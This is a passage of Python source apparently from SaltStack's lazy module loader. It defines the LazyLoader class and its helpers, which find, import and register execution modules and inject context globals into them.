importlib.machinery.BYTECODE_SUFFIXES:\n    SUFFIXES.append((suffix, \"rb\", MODULE_KIND_COMPILED))\nMODULE_KIND_MAP = {\n    MODULE_KIND_SOURCE: importlib.machinery.SourceFileLoader,\n    MODULE_KIND_COMPILED: importlib.machinery.SourcelessFileLoader,\n    MODULE_KIND_EXTENSION: importlib.machinery.ExtensionFileLoader,\n}\n# pylint: enable=no-member\n\n\nSALT_BASE_PATH = pathlib.Path(salt.syspaths.INSTALL_DIR).resolve()\nLOADED_BASE_NAME = \"salt.loaded\"\nPY3_PRE_EXT = re.compile(r\"\\.cpython-{}{}(\\.opt-[1-9])?\".format(*sys.version_info[:2]))\n\n# Will be set to pyximport module at runtime if cython is enabled in config.\npyximport = None\n\n\ndef _generate_module(name):\n    if name in sys.modules:\n        return\n\n    code = \"'''Salt loaded {} parent module'''\".format(name.split(\".\")[-1])\n    # ModuleType can't accept a unicode type on PY2\n    module = types.ModuleType(str(name))\n    exec(code, module.__dict__)\n    sys.modules[name] = module\n\n\ndef _mod_type(module_path):\n    if module_path.startswith(str(SALT_BASE_PATH)):\n        return \"int\"\n    return \"ext\"\n\n\nclass FilterDictWrapper(MutableMapping):\n    \"\"\"\n    Create a dict which wraps another dict with a specific key suffix on get\n\n    This is to replace \"filter_load\"\n    \"\"\"\n\n    def __init__(self, d, suffix):\n        self._dict = d\n        self.suffix = suffix\n\n    def __setitem__(self, key, val):\n        self._dict[key] = val\n\n    def __delitem__(self, key):\n        del self._dict[key]\n\n    def __getitem__(self, key):\n        return self._dict[key + self.suffix]\n\n    def __len__(self):\n        return len(self._dict)\n\n    def __iter__(self):\n        for key in self._dict:\n            if key.endswith(self.suffix):\n                yield key.replace(self.suffix, \"\")\n\n\nclass LoadedFunc:\n    \"\"\"\n    The functions loaded by LazyLoader instances using subscript notation\n    'a[k]' will be wrapped with LoadedFunc.\n\n      - Makes sure functions are called with the correct loader's context.\n      - Provides access to a wrapped func's __global__ attribute\n\n    :param func str: The function name to wrap\n    :param LazyLoader loader: The loader instance to use in the context when the wrapped callable is called.\n    \"\"\"\n\n    def __init__(self, name, loader):\n        self.name = name\n        self.loader = loader\n        functools.update_wrapper(self, self.func)\n\n    @property\n    def func(self):\n        return self.loader._dict[self.name]\n\n    def __getattr__(self, name):\n        return getattr(self.func, name)\n\n    def __call__(self, *args, **kwargs):\n        run_func = self.func\n        mod = sys.modules[run_func.__module__]\n        # All modules we've imported should have __opts__ defined. There are\n        # cases in the test suite where mod ends up being something other than\n        # a module we've loaded.\n        set_test = False\n        if hasattr(mod, \"__opts__\"):\n            if not isinstance(mod.__opts__, salt.loader.context.NamedLoaderContext):\n                if \"test\" in self.loader.opts:\n                    mod.__opts__[\"test\"] = self.loader.opts[\"test\"]\n                    set_test = True\n        if self.loader.inject_globals:\n            run_func = global_injector_decorator(self.loader.inject_globals)(run_func)\n        ret = self.loader.run(run_func, *args, **kwargs)\n        if set_test:\n            self.loader.opts[\"test\"] = mod.__opts__[\"test\"]\n        return ret\n\n    def __repr__(self):\n        return f\"<{self.__class__.__name__} name={self.name!r}>\"\n\n\nclass LoadedMod:\n    \"\"\"\n    This class is used as a proxy to a loaded module\n    \"\"\"\n\n    __slots__ = (\"mod\", \"loader\")\n\n    def __init__(self, mod, loader):\n        \"\"\"\n        Return the wrapped func's globals via this object's __globals__\n        attribute.\n        \"\"\"\n        self.mod = mod\n        self.loader = loader\n\n    def __getattr__(self, name):\n        \"\"\"\n        Run the wrapped function in the loader's context.\n        \"\"\"\n        try:\n            return self.loader[f\"{self.mod}.{name}\"]\n        except KeyError:\n            raise AttributeError(\n                f\"No attribute by the name of {name} was found on {self.mod}\"\n            )\n\n    def __repr__(self):\n        return \"<{} module='{}.{}'>\".format(\n            self.__class__.__name__, self.loader.loaded_base_name, self.mod\n        )\n\n\nclass LazyLoader(salt.utils.lazy.LazyDict):\n    \"\"\"\n    A pseduo-dictionary which has a set of keys which are the\n    name of the module and function, delimited by a dot. When\n    the value of the key is accessed, the function is then loaded\n    from disk and into memory.\n\n    .. note::\n\n        Iterating over keys will cause all modules to be loaded.\n\n    :param list module_dirs: A list of directories on disk to search for modules\n    :param dict opts: The salt options dictionary.\n    :param str tag: The tag for the type of module to load\n    :param func mod_type_check: A function which can be used to verify files\n    :param dict pack: A dictionary of function to be packed into modules as they are loaded\n    :param list whitelist: A list of modules to whitelist\n    :param bool virtual_enable: Whether or not to respect the __virtual__ function when loading modules.\n    :param str virtual_funcs: The name of additional functions in the module to call to verify its functionality.\n                                If not true, the module will not load.\n    :param list extra_module_dirs: A list of directories that will be able to import from\n    :param str pack_self: Pack this module into a variable by this name into modules loaded\n    :returns: A LazyLoader object which functions as a dictionary. Keys are 'module.function' and values\n    are function references themselves which are loaded on-demand.\n    # TODO:\n        - move modules_max_memory into here\n        - singletons (per tag)\n    \"\"\"\n\n    mod_dict_class = dict\n\n    def __init__(\n        self,\n        module_dirs,\n        opts=None,\n        tag=\"module\",\n        loaded_base_name=None,\n        mod_type_check=None,\n        pack=None,\n        whitelist=None,\n        virtual_enable=True,\n        static_modules=None,\n        proxy=None,\n        virtual_funcs=None,\n        extra_module_dirs=None,\n        pack_self=None,\n        # Once we get rid of __utils__, the keyword argument bellow should be removed\n        _only_pack_properly_namespaced_functions=True,\n    ):  # pylint: disable=W0231\n        \"\"\"\n        In pack, if any of the values are None they will be replaced with an\n        empty context-specific dict\n        \"\"\"\n\n        self.parent_loader = None\n        self.inject_globals = {}\n        self.pack = {} if pack is None else pack\n        for i in self.pack:\n            if isinstance(self.pack[i], salt.loader.context.NamedLoaderContext):\n                self.pack[i] = self.pack[i].value()\n        if opts is None:\n            opts = {}\n        opts = copy.deepcopy(opts)\n        for i in [\"pillar\", \"grains\"]:\n            if i in opts and isinstance(\n                opts[i], salt.loader.context.NamedLoaderContext\n            ):\n                opts[i] = opts[i].value()\n        threadsafety = not opts.get(\"multiprocessing\")\n        self.opts = self.__prep_mod_opts(opts)\n        self.pack_self = pack_self\n\n        self.module_dirs = module_dirs\n        self.tag = tag\n        self._gc_finalizer = None\n        self.loaded_base_name = loaded_base_name or LOADED_BASE_NAME\n        self.mod_type_check = mod_type_check or _mod_type\n        self._only_pack_properly_namespaced_functions = (\n            _only_pack_properly_namespaced_functions\n        )\n\n        if \"__context__\" not in self.pack:\n            self.pack[\"__context__\"] = None\n\n        for k, v in list(self.pack.items()):\n            if v is None:  # if the value of a pack is None, lets make an empty dict\n                self.pack[k] = {}\n\n        self.whitelist = whitelist\n        self.virtual_enable = virtual_enable\n        self.initial_load = True\n\n        # names of modules that we don't have (errors, __virtual__, etc.)\n        self.missing_modules = {}  # mapping of name -> error\n        self.loaded_modules = set()\n        self.loaded_files = set()  # TODO: just remove them from file_mapping?\n        self.static_modules = static_modules if static_modules else []\n\n        if virtual_funcs is None:\n            virtual_funcs = []\n        self.virtual_funcs = virtual_funcs\n\n        self.extra_module_dirs = extra_module_dirs if extra_module_dirs else []\n        self._clean_module_dirs = []\n\n        self.disabled = set(\n            self.opts.get(\n                \"disable_{}{}\".format(self.tag, \"\" if self.tag[-1] == \"s\" else \"s\"),\n                [],\n            )\n        )\n\n        # A map of suffix to description for imp\n        self.suffix_map = {}\n        # A list to determine precedence of extensions\n        # Prefer packages (directories) over modules (single files)!\n        self.suffix_order = [\"\"]\n        for (suffix, mode, kind) in SUFFIXES:\n            self.suffix_map[suffix] = (suffix, mode, kind)\n            self.suffix_order.append(suffix)\n\n        self._lock = self._get_lock()\n\n        with self._lock:\n            self._refresh_file_mapping()\n\n        super().__init__()  # late init the lazy loader\n        # create all of the import namespaces\n        _generate_module(f\"{self.loaded_base_name}.int\")\n        _generate_module(f\"{self.loaded_base_name}.int.{tag}\")\n        _generate_module(f\"{self.loaded_base_name}.ext\")\n        _generate_module(f\"{self.loaded_base_name}.ext.{tag}\")\n\n    def _get_lock(self):\n        return threading.RLock()\n\n    def clean_modules(self):\n        \"\"\"\n        Clean modules\n        \"\"\"\n        for name in list(sys.modules):\n            if name.startswith(self.loaded_base_name):\n                del sys.modules[name]\n\n    def __getitem__(self, item):\n        \"\"\"\n        Override the __getitem__ in order to decorate the returned function if we need\n        to last-minute inject globals\n        \"\"\"\n        super().__getitem__(item)  # try to get the item from the dictionary\n        return LoadedFunc(item, self)\n\n    def __getattr__(self, mod_name):\n        \"\"\"\n        Allow for \"direct\" attribute access-- this allows jinja templates to\n        access things like `salt.test.ping()`\n        \"\"\"\n        if mod_name in (\"__getstate__\", \"__setstate__\"):\n            return object.__getattribute__(self, mod_name)\n\n        # if we have an attribute named that, lets return it.\n        try:\n            return object.__getattr__(self, mod_name)  # pylint: disable=no-member\n        except AttributeError:\n            pass\n\n        # otherwise we assume its jinja template access\n        if mod_name not in self.loaded_modules and not self.loaded:\n            for name in self._iter_files(mod_name):\n                if name in self.loaded_files:\n                    continue\n                # if we got what we wanted, we are done\n                if self._load_module(name) and mod_name in self.loaded_modules:\n                    break\n        if mod_name in self.loaded_modules:\n            return LoadedMod(mod_name, self)\n        else:\n            raise AttributeError(mod_name)\n\n    def __repr__(self):\n        return \"<{} module='{}.{}'>\".format(\n            self.__class__.__name__, self.loaded_base_name, self.tag\n        )\n\n    def missing_fun_string(self, function_name):\n        \"\"\"\n        Return the error string for a missing function.\n\n        This can range from \"not available' to \"__virtual__\" returned False\n        \"\"\"\n        mod_name = function_name.split(\".\")[0]\n        if mod_name in self.loaded_modules:\n            return f\"'{function_name}' is not available.\"\n        else:\n            try:\n                reason = self.missing_modules[mod_name]\n            except KeyError:\n                return f\"'{function_name}' is not available.\"\n            else:\n                if reason is not None:\n                    return \"'{}' __virtual__ returned False: {}\".format(\n                        mod_name, reason\n                    )\n                else:\n                    return f\"'{mod_name}' __virtual__ returned False\"\n\n    def _refresh_file_mapping(self):\n        \"\"\"\n        refresh the mapping of the FS on disk\n        \"\"\"\n        # map of suffix to description for imp\n        if (\n            self.opts.get(\"cython_enable\", True) is True\n            and \".pyx\" not in self.suffix_map\n        ):\n            try:\n                global pyximport\n                pyximport = __import__(\"pyximport\")  # pylint: disable=import-error\n                pyximport.install()\n                # add to suffix_map so file_mapping will pick it up\n                self.suffix_map[\".pyx\"] = tuple()\n                if \".pyx\" not in self.suffix_order:\n                    self.suffix_order.append(\".pyx\")\n            except ImportError:\n                log.info(\n                    \"Cython is enabled in the options but not present \"\n                    \"in the system path. Skipping Cython modules.\"\n                )\n        # Allow for zipimport of modules\n        if (\n            self.opts.get(\"enable_zip_modules\", True) is True\n            and \".zip\" not in self.suffix_map\n        ):\n            self.suffix_map[\".zip\"] = tuple()\n            if \".zip\" not in self.suffix_order:\n                self.suffix_order.append(\".zip\")\n        # allow for module dirs\n        self.suffix_map[\"\"] = (\"\", \"\", MODULE_KIND_PKG_DIRECTORY)\n\n        # create mapping of filename (without suffix) to (path, suffix)\n        # The files are added in order of priority, so order *must* be retained.\n        self.file_mapping = salt.utils.odict.OrderedDict()\n\n        opt_match = []\n\n        def _replace_pre_ext(obj):\n            \"\"\"\n            Hack so we can get the optimization level that we replaced (if\n            any) out of the re.sub call below. We use a list here because\n            it is a persistent data structure that we will be able to\n            access after re.sub is called.\n            \"\"\"\n            opt_match.append(obj)\n            return \"\"\n\n        for mod_dir in self.module_dirs:\n            try:\n                # Make sure we have a sorted listdir in order to have\n                # expectable override results\n                files = sorted(x for x in os.listdir(mod_dir) if x != \"__pycache__\")\n            except OSError:\n                continue  # Next mod_dir\n            try:\n                pycache_files = [\n                    os.path.join(\"__pycache__\", x)\n                    for x in sorted(os.listdir(os.path.join(mod_dir, \"__pycache__\")))\n                ]\n            except OSError:\n                pass\n            else:\n                files.extend(pycache_files)\n\n            for filename in files:\n                try:\n                    dirname, basename = os.path.split(filename)\n                    if basename.startswith(\"_\"):\n                        # skip private modules\n                        # log messages omitted for obviousness\n                        continue  # Next filename\n                    f_noext, ext = os.path.splitext(basename)\n                    f_noext = PY3_PRE_EXT.sub(_replace_pre_ext, f_noext)\n                    try:\n                        opt_level = int(opt_match.pop().group(1).rsplit(\"-\", 1)[-1])\n                    except (AttributeError, IndexError, ValueError):\n                        # No regex match or no optimization level matched\n                        opt_level = 0\n                    try:\n                        opt_index = self.opts[\"optimization_order\"].index(opt_level)\n                    except KeyError:\n                        log.trace(\n                            \"Disallowed optimization level %d for module \"\n                            \"name '%s', skipping. Add %d to the \"\n                            \"'optimization_order' config option if you \"\n                            \"do not want to ignore this optimization \"\n                            \"level.\",\n                            opt_level,\n                            f_noext,\n                            opt_level,\n                        )\n                        continue\n\n                    # make sure it is a suffix we support\n                    if ext not in self.suffix_map:\n                        continue  # Next filename\n                    if f_noext in self.disabled:\n                        log.trace(\n                            \"Skipping %s, it is disabled by configuration\", filename\n                        )\n                        continue  # Next filename\n                    fpath = os.path.join(mod_dir, filename)\n                    # if its a directory, lets allow us to load that\n                    if ext == \"\":\n                        # is there something __init__?\n                        subfiles = os.listdir(fpath)\n                        for suffix in self.suffix_order:\n                            if \"\" == suffix:\n                                continue  # Next suffix (__init__ must have a suffix)\n                            init_file = f\"__init__{suffix}\"\n                            if init_file in subfiles:\n                                break\n                        else:\n                            continue  # Next filename\n\n                    try:\n                        curr_ext = self.file_mapping[f_noext][1]\n                        curr_opt_index = self.file_mapping[f_noext][2]\n                    except KeyError:\n                        pass\n                    else:\n                        if \"\" in (curr_ext, ext) and curr_ext != ext:\n                            log.error(\n                                \"Module/package collision: '%s' and '%s'\",\n                                fpath,\n                                self.file_mapping[f_noext][0],\n                            )\n\n                        if ext == \".pyc\" and curr_ext == \".pyc\":\n                            # Check the optimization level\n                            if opt_index >= curr_opt_index:\n                                # Module name match, but a higher-priority\n                                # optimization level was already matched, skipping.\n                                continue\n                        elif not curr_ext or self.suffix_order.index(\n                            ext\n                        ) >= self.suffix_order.index(curr_ext):\n                            # Match found but a higher-priorty match already\n                            # exists, so skip this.\n                            continue\n\n                    if not dirname and ext == \".pyc\":\n                        # On Python 3, we should only load .pyc files from the\n                        # __pycache__ subdirectory (i.e. when dirname is not an\n                        # empty string).\n                        continue\n\n                    # Made it this far - add it\n                    self.file_mapping[f_noext] = (fpath, ext, opt_index)\n\n                except OSError:\n                    continue\n        for smod in self.static_modules:\n            f_noext = smod.split(\".\")[-1]\n            self.file_mapping[f_noext] = (smod, \".o\", 0)\n\n    def clear(self):\n        \"\"\"\n        Clear the dict\n        \"\"\"\n        with self._lock:\n            super().clear()  # clear the lazy loader\n            self.loaded_files = set()\n            self.missing_modules = {}\n            self.loaded_modules = set()\n            # if we have been loaded before, lets clear the file mapping since\n            # we obviously want a re-do\n            if hasattr(self, \"opts\"):\n                self._refresh_file_mapping()\n            self.initial_load = False\n\n    def __prep_mod_opts(self, opts):\n        \"\"\"\n        Strip out of the opts any logger instance\n        \"\"\"\n        if \"__grains__\" not in self.pack:\n            grains = opts.get(\"grains\", {})\n            if isinstance(grains, salt.loader.context.NamedLoaderContext):\n                grains = grains.value()\n            self.pack[\"__grains__\"] = grains\n\n        if \"__pillar__\" not in self.pack:\n            pillar = opts.get(\"pillar\", {})\n            if isinstance(pillar, salt.loader.context.NamedLoaderContext):\n                pillar = pillar.value()\n            self.pack[\"__pillar__\"] = pillar\n\n        mod_opts = {}\n        for key, val in list(opts.items()):\n            if key == \"logger\":\n                continue\n            mod_opts[key] = val\n\n        if \"__opts__\" not in self.pack:\n            self.pack[\"__opts__\"] = mod_opts\n\n        return mod_opts\n\n    def _iter_files(self, mod_name):\n        \"\"\"\n        Iterate over all file_mapping files in order of closeness to mod_name\n        \"\"\"\n        # do we have an exact match?\n        if mod_name in self.file_mapping:\n            yield mod_name\n\n        # do we have a partial match?\n        for k in self.file_mapping:\n            if mod_name in k:\n                yield k\n\n        # anyone else? Bueller?\n        for k in self.file_mapping:\n            if mod_name not in k:\n                yield k\n\n    def _reload_submodules(self, mod):\n        submodules = (\n            getattr(mod, sname)\n            for sname in dir(mod)\n            if isinstance(getattr(mod, sname), mod.__class__)\n        )\n\n        # reload only custom \"sub\"modules\n        for submodule in submodules:\n            # it is a submodule if the name is in a namespace under mod\n            if submodule.__name__.startswith(mod.__name__ + \".\"):\n                importlib.reload(submodule)\n                self._reload_submodules(submodule)\n\n    def __populate_sys_path(self):\n        for directory in self.extra_module_dirs:\n            if directory not in sys.path:\n                sys.path.append(directory)\n                self._clean_module_dirs.append(directory)\n\n    def __clean_sys_path(self):\n        invalidate_path_importer_cache = False\n        for directory in self._clean_module_dirs:\n            if directory in sys.path:\n                sys.path.remove(directory)\n                invalidate_path_importer_cache = True\n        self._clean_module_dirs = []\n\n        # Be sure that sys.path_importer_cache do not contains any\n        # invalid FileFinder references\n        importlib.invalidate_caches()\n\n        # Because we are mangling with importlib, we can find from\n        # time to time an invalidation issue with\n        # sys.path_importer_cache, that requires the removal of\n        # FileFinder that remain None for the extra_module_dirs\n        if invalidate_path_importer_cache:\n            for directory in self.extra_module_dirs:\n                if (\n                    directory in sys.path_importer_cache\n                    and sys.path_importer_cache[directory] is None\n                ):\n                    del sys.path_importer_cache[directory]\n\n    def _load_module(self, name):\n        mod = None\n        fpath, suffix = self.file_mapping[name][:2]\n        # if the fpath has `.cpython-3x` in it, but the running Py version\n        # is 3.y, the following will cause us to return immediately and we won't try to import this .pyc.\n        # This is for the unusual case where several Python versions share a single\n        # source tree and drop their .pycs in the same __pycache__ folder.\n        # If we were to load a .pyc for another Py version it's not a big problem\n        # but the log will get spammed with \"Bad Magic Number\" messages that\n        # can be very misleading if the user is debugging another problem.\n        try:\n            (implementation_tag, cache_tag_ver) = sys.implementation.cache_tag.split(\n                \"-\"\n            )\n            if cache_tag_ver not in fpath and implementation_tag in fpath:\n                log.trace(\n                    \"Trying to load %s on %s, returning False.\",\n                    fpath,\n                    sys.implementation.cache_tag,\n                )\n                return False\n        except AttributeError:\n            # Most likely Py 2.7 or some other Python version we don't really support\n            pass\n\n        self.loaded_files.add(name)\n        fpath_dirname = os.path.dirname(fpath)\n        try:\n            self.__populate_sys_path()\n            sys.path.append(fpath_dirname)\n            if suffix == \".pyx\":\n                mod = pyximport.load_module(name, fpath, tempfile.gettempdir())\n            elif suffix == \".o\":\n                top_mod = __import__(fpath, globals(), locals(), [])\n                comps = fpath.split(\".\")\n                if len(comps) < 2:\n                    mod = top_mod\n                else:\n                    mod = top_mod\n                    for subname in comps[1:]:\n                        mod = getattr(mod, subname)\n            elif suffix == \".zip\":\n                mod = zipimporter(fpath).load_module(name)\n            else:\n                desc = self.suffix_map[suffix]\n                # if it is a directory, we don't open a file\n                try:\n                    mod_namespace = \".\".join(\n                        (\n                            self.loaded_base_name,\n                            self.mod_type_check(fpath),\n                            self.tag,\n                            name,\n                        )\n                    )\n                except TypeError:\n                    mod_namespace = \"{}.{}.{}.{}\".format(\n                        self.loaded_base_name,\n                        self.mod_type_check(fpath),\n                        self.tag,\n                        name,\n                    )\n                if suffix == \"\":\n                    # pylint: disable=no-member\n                    # Package directory, look for __init__\n                    loader_details = [\n                        (\n                            importlib.machinery.SourceFileLoader,\n                            importlib.machinery.SOURCE_SUFFIXES,\n                        ),\n                        (\n                            importlib.machinery.SourcelessFileLoader,\n                            importlib.machinery.BYTECODE_SUFFIXES,\n                        ),\n                        (\n                            importlib.machinery.ExtensionFileLoader,\n                            importlib.machinery.EXTENSION_SUFFIXES,\n                        ),\n                    ]\n                    file_finder = importlib.machinery.FileFinder(\n                        fpath_dirname, *loader_details\n                    )\n                    spec = file_finder.find_spec(mod_namespace)\n                    if spec is None:\n                        raise ImportError()\n                    mod = importlib.util.module_from_spec(spec)\n                    spec.loader.exec_module(mod)\n                    # pylint: enable=no-member\n                    sys.modules[mod_namespace] = mod\n                    # reload all submodules if necessary\n                    if not self.initial_load:\n                        self._reload_submodules(mod)\n                else:\n                    # pylint: disable=no-member\n                    loader = MODULE_KIND_MAP[desc[2]](mod_namespace, fpath)\n                    spec = importlib.util.spec_from_file_location(\n                        mod_namespace, fpath, loader=loader\n                    )\n                    if spec is None:\n                        raise ImportError()\n                    mod = importlib.util.module_from_spec(spec)\n                    spec.loader.exec_module(mod)\n                    # pylint: enable=no-member\n                    sys.modules[mod_namespace] = mod\n        except OSError:\n            raise\n        except ImportError as exc:\n            if \"magic number\" in str(exc):\n                error_msg = (\n                    \"Failed to import {} {}. Bad magic number. If migrating from\"\n                    \" Python2 to Python3, remove all .pyc files and try again.\".format(\n                        self.tag, name\n                    )\n                )\n                log.warning(error_msg)\n                self.missing_modules[name] = error_msg\n            log.debug(\"Failed to import %s %s:\\n\", self.tag, name, exc_info=True)\n            self.missing_modules[name] = exc\n            return False\n        except Exception as error:  # pylint: disable=broad-except\n            log.error(\n                \"Failed to import %s %s, this is due most likely to a syntax error:\\n\",\n                self.tag,\n                name,\n                exc_info=True,\n            )\n            self.missing_modules[name] = error\n            return False\n        except SystemExit as error:\n            try:\n                fn_, _, caller, _ = traceback.extract_tb(sys.exc_info()[2])[-1]\n            except IndexError:\n                pass\n            else:\n                tgt_fns = [\n                    os.path.join(\"salt\", \"utils\", \"process.py\"),\n                    os.path.join(\"salt\", \"cli\", \"daemons.py\"),\n                    os.path.join(\"salt\", \"cli\", \"api.py\"),\n                ]\n                for tgt_fn in tgt_fns:\n                    if fn_.endswith(tgt_fn) and \"_handle_signals\" in caller:\n                        # Race conditon, SIGTERM or SIGINT received while loader\n                        # was in process of loading a module. Call sys.exit to\n                        # ensure that the process is killed.\n                        sys.exit(salt.defaults.exitcodes.EX_OK)\n            log.error(\n                \"Failed to import %s %s as the module called exit()\\n\",\n                self.tag,\n                name,\n                exc_info=True,\n            )\n            self.missing_modules[name] = error\n            return False\n        finally:\n            sys.path.remove(fpath_dirname)\n            self.__clean_sys_path()\n\n        loader_context = salt.loader.context.LoaderContext()\n        if hasattr(mod, \"__salt_loader__\"):\n            if not isinstance(mod.__salt_loader__, salt.loader.context.LoaderContext):\n                log.warning(\"Override  __salt_loader__: %s\", mod)\n                mod.__salt_loader__ = loader_context\n        else:\n            mod.__salt_loader__ = loader_context\n\n        if hasattr(mod, \"__opts__\"):\n            if not isinstance(mod.__opts__, salt.loader.context.NamedLoaderContext):\n                if not hasattr(mod, \"__orig_opts__\"):\n                    mod.__orig_opts__ = copy.deepcopy(mod.__opts__)\n                mod.__opts__ = copy.deepcopy(mod.__orig_opts__)\n                mod.__opts__.update(self.opts)\n        else:\n            if not hasattr(mod, \"__orig_opts__\"):\n                mod.__orig_opts__ = {}\n            mod.__opts__ = copy.deepcopy(mod.__orig_opts__)\n            mod.__opts__.update(self.opts)\n\n        # pack whatever other globals we were asked to\n        for p_name, p_value in self.pack.items():\n            if p_name == \"__opts__\":\n                continue\n            mod_named_context = getattr(mod, p_name, None)\n            if hasattr(mod_named_context, \"default\"):\n                default = copy.deepcopy(mod_named_context.default)\n            else:\n                default = None\n            named_context = loader_context.named_context(p_name, default)\n            if mod_named_context is None:\n                setattr(mod, p_name, named_context)\n            elif named_context != mod_named_context:\n                log.debug(\"Override  %s: %s\", p_name, mod)\n                setattr(mod, p_name, named_context)\n            else:\n                setattr(mod, p_name, named_context)\n\n        if self.pack_self is not None:\n            mod_named_context = getattr(mod, self.pack_self, None)\n            if hasattr(mod_named_context, \"default\"):\n                default = copy.deepcopy(mod_named_context.default)\n            else:\n                default = None\n            named_context = loader_context.named_context(self.pack_self, default)\n            if mod_named_context is None:\n                setattr(mod, self.pack_self, named_context)\n            elif named_context != mod_named_context:\n                log.debug(\"Override  %s: %s\", self.pack_self, mod)\n                setattr(mod, self.pack_self, named_context)\n            else:\n                setattr(mod, self.pack_self, named_context)\n\n        module_name = mod.__name__.rsplit(\".\", 1)[-1]\n\n        # Call a module's initialization method if it exists\n        module_init = getattr(mod, \"__init__\", None)\n        if inspect.isfunction(module_init):\n            try:\n                self.run(module_init, self.opts)\n            except TypeError as e:\n                log.error(e)\n            except Exception:  # pylint: disable=broad-except\n                err_string = \"__init__ failed\"\n                log.debug(\n                    \"Error loading %s.%s: %s\",\n                    self.tag,\n                    module_name,\n                    err_string,\n                    exc_info=True,\n                )\n                self.missing_modules[module_name] = err_string\n                self.missing_modules[name] = err_string\n                return False\n\n        # if virtual modules are enabled, we need to look for the\n        # __virtual__() function inside that module and run it.\n        if self.virtual_enable:\n            virtual_funcs_to_process = [\"__virtual__\"] + self.virtual_funcs\n            for virtual_func in virtual_funcs_to_process:\n                (\n                    virtual_ret,\n                    module_name,\n                    virtual_err,\n                    virtual_aliases,\n                ) = self._process_virtual(mod, module_name, virtual_func)\n                if virtual_err is not None:\n                    log.trace(\n                        \"Error loading %s.%s: %s\", self.tag, module_name, virtual_err\n                    )\n\n                # if _process_virtual returned a non-True value then we are\n                # supposed to not process this module\n                if virtual_ret is not True and module_name not in self.missing_modules:\n                    # If a module has information about why it could not be loaded, record it\n                    self.missing_modules[module_name] = virtual_err\n                    self.missing_modules[name] = virtual_err\n                    return False\n        else:\n            virtual_aliases = ()\n\n        # If this is a proxy minion then MOST modules cannot work. Therefore, require that\n        # any module that does work with salt-proxy-minion define __proxyenabled__ as a list\n        # containing the names of the proxy types that the module supports.\n        #\n        # Render modules and state modules are OK though\n        if \"proxy\" in self.opts:\n            if self.tag in [\"grains\", \"proxy\"]:\n                if not hasattr(mod, \"__proxyenabled__\") or (\n                    self.opts[\"proxy\"][\"proxytype\"] not in mod.__proxyenabled__\n                    and \"*\" not in mod.__proxyenabled__\n                ):\n                    err_string = \"not a proxy_minion enabled module\"\n                    self.missing_modules[module_name] = err_string\n                    self.missing_modules[name] = err_string\n                    return False\n\n        try:\n            funcs_to_load = mod.__load__\n            log.debug(\n                \"The functions from module '%s' are being loaded from the \"\n                \"provided __load__ attribute\",\n                module_name,\n            )\n        except AttributeError:\n            try:\n                funcs_to_load = mod.__all__\n                log.debug(\n                    \"The functions from module '%s' are being loaded from the \"\n                    \"provided __all__ attribute\",\n                    module_name,\n                )\n            except AttributeError:\n                funcs_to_load = dir(mod)\n                log.debug(\n                    \"The functions from module '%s' are being loaded by \"\n                    \"dir() on the loaded module\",\n                    module_name,\n                )\n\n        # If we had another module by the same virtual name, we should put any\n        # new functions under the existing dictionary.\n        mod_names = [module_name] + list(virtual_aliases)\n\n        for attr in funcs_to_load:\n            if attr.startswith(\"_\"):\n                # private functions are skipped\n                continue\n            func = getattr(mod, attr)\n            if not inspect.isfunction(func) and not isinstance(func, functools.partial):\n                # Not a function!? Skip it!!!\n                continue\n\n            if (\n                self._only_pack_properly_namespaced_functions\n                and not func.__module__.startswith(self.loaded_base_name)\n            ):\n                # We're not interested in imported functions, only\n                # functions defined(or namespaced) on the loaded module.\n                continue\n\n            # When the module is deprecated wrap functions in deprecation\n            # warning.\n            if hasattr(mod, \"__deprecated__\"):\n                func = extension_deprecation_message(*mod.__deprecated__)(func)\n\n            # Let's get the function name.\n            # If the module has the __func_alias__ attribute, it must be a\n            # dictionary mapping in the form of(key -> value):\n            #   <real-func-name> -> <desired-func-name>\n            #\n            # It default's of course to the found callable attribute name\n            # if no alias is defined.\n            funcname = getattr(mod, \"__func_alias__\", {}).get(attr, attr)\n            for tgt_mod in mod_names:\n                try:\n                    full_funcname = \".\".join((tgt_mod, funcname))\n                except TypeError:\n                    full_funcname = f\"{tgt_mod}.{funcname}\"\n                # Save many references for lookups\n                # Careful not to overwrite existing (higher priority) functions\n                if full_funcname not in self._dict:\n                    self._dict[full_funcname] = func\n                    self._apply_outputter(func, mod)\n                self.loaded_modules.add(tgt_mod)\n\n        # enforce depends\n        try:\n            Depends.enforce_dependencies(self._dict, self.tag, name)\n        except RuntimeError as exc:\n            log.info(\n                \"Depends.enforce_dependencies() failed for the following reason: %s\",\n                exc,\n            )\n\n        return True\n\n    def _load(self, key):\n        \"\"\"\n        Load a single item if you have it\n        \"\"\"\n        # if the key doesn't have a '.' then it isn't valid for this mod dict\n        if not isinstance(key, str):\n            raise KeyError(\"The key must be a string.\")\n        if \".\" not in key:\n            raise KeyError(f\"The key '{key}' should contain a '.'\")\n        mod_name, _ = key.split(\".\", 1)\n        with self._lock:\n            # It is possible that the key is in the dictionary after\n            # acquiring the lock due to another thread loading it.\n            if mod_name in self.missing_modules or key in self._dict:\n                return True\n            # if the modulename isn't in the whitelist, don't bother\n            if self.whitelist and mod_name not in self.whitelist:\n                log.error(\n                    \"Failed to load function %s because its module (%s) is \"\n                    \"not in the whitelist: %s\",\n                    key,\n                    mod_name,\n                    self.whitelist,\n                )\n                raise KeyError(key)\n\n            def _inner_load(mod_name):\n                for name in self._iter_files(mod_name):\n                    if name in self.loaded_files:\n                        continue\n                    # if we got what we wanted, we are done\n                    if self._load_module(name) and key in self._dict:\n                        return True\n                return False\n\n            # try to load the module\n            ret = None\n            reloaded = False\n            # re-scan up to once, IOErrors or a failed load cause re-scans of the\n            # filesystem\n            while True:\n                try:\n                    ret = _inner_load(mod_name)\n                    if not reloaded and ret is not True:\n                        self._refresh_file_mapping()\n                        reloaded = True\n                        continue\n                    break\n                except OSError:\n                    if not reloaded:\n                        self._refresh_file_mapping()\n                        reloaded = True\n                    continue\n\n        return ret\n\n    def _load_all(self):\n        \"\"\"\n        Load all of them\n        \"\"\"\n        with self._lock:\n            for name in self.file_mapping:\n                if name in self.loaded_files or name in self.missing_modules:\n                    continue\n                self._load_module(name)\n\n            self.loaded = True\n\n    def reload_modules(self):\n        with self._lock:\n            self.loaded_files = set()\n            self._load_all()\n\n    def _apply_outputter(self, func, mod):\n        \"\"\"\n        Apply the __outputter__ variable to the functions\n        \"\"\"\n        if hasattr(mod, \"__outputter__\"):\n            outp = mod.__outputter__\n            if func.__name__ in outp:\n                func.__outputter__ = outp[func.__name__]\n\n    def _process_virtual(self, mod, module_name, virtual_func=\"__virtual__\"):\n        \"\"\"\n      